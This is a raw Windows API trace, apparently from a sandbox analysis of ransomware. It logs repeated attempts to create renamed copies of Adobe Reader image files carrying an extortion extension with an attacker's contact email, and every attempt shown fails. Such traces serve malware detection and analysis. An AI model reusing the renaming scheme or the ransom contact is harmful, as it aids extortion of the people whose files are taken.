SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_2x.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_2x.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.965] CloseHandle (hObject=0x10c4) returned 1 [0280.966] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.966] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.967] CloseHandle (hObject=0x10c4) returned 1 [0280.968] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.968] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\A12_Spinner_int_2x.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\a12_spinner_int_2x.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.969] CloseHandle (hObject=0x10c4) returned 1 [0280.969] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.969] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adc_logo.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adc_logo.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.970] CloseHandle (hObject=0x10c4) returned 1 [0280.971] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.971] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.971] CloseHandle (hObject=0x10c4) returned 1 [0280.972] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.972] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\adobe_spinner_mini.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.972] CloseHandle (hObject=0x10c4) returned 1 [0280.973] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.973] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-114x114-precomposed.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.973] CloseHandle (hObject=0x10c4) returned 1 [0280.974] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.974] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-144x144-precomposed.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.974] CloseHandle (hObject=0x10c4) returned 1 [0280.975] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.975] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-57x57-precomposed.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.975] CloseHandle (hObject=0x10c4) returned 1 [0280.976] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.976] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\apple-touch-icon-72x72-precomposed.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.976] CloseHandle (hObject=0x10c4) returned 1 [0280.977] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.978] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.978] CloseHandle (hObject=0x10c4) returned 1 [0280.979] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.979] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ccloud_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ccloud_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.979] CloseHandle (hObject=0x10c4) returned 1 [0280.980] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.980] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\close_x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\close_x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.980] CloseHandle (hObject=0x10c4) returned 1 [0280.981] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.981] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.981] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.982] CloseHandle (hObject=0x10c4) returned 1 [0280.982] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.982] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\core_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\core_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.983] CloseHandle (hObject=0x10c4) returned 1 [0280.984] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.984] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\dd_arrow_small.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.984] CloseHandle (hObject=0x10c4) returned 1 [0280.985] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.985] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.985] CloseHandle (hObject=0x10c4) returned 1 [0280.987] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.987] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.987] CloseHandle (hObject=0x10c4) returned 1 [0280.988] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.988] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\ind_prog.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\ind_prog.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.988] CloseHandle (hObject=0x10c4) returned 1 [0280.989] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.989] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\japanese_over.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\japanese_over.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.989] CloseHandle (hObject=0x10c4) returned 1 [0280.990] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.990] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.990] CloseHandle (hObject=0x10c4) returned 1 [0280.991] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.991] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.991] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\large_trefoil_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.991] CloseHandle (hObject=0x10c4) returned 1 [0280.992] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.992] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.992] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\logo_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\logo_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.992] CloseHandle (hObject=0x10c4) returned 1 [0280.993] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.993] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.993] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress-indeterminate.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.993] CloseHandle (hObject=0x10c4) returned 1 [0280.994] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.994] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.994] CloseHandle (hObject=0x10c4) returned 1 [0280.995] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.995] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner2x.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.995] CloseHandle (hObject=0x10c4) returned 1 [0280.996] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.996] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.996] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.996] CloseHandle (hObject=0x10c4) returned 1 [0280.997] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.997] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.997] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\progress_spinner_dark2x.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.997] CloseHandle (hObject=0x10c4) returned 1 [0280.998] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.998] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\RHP_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\rhp_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 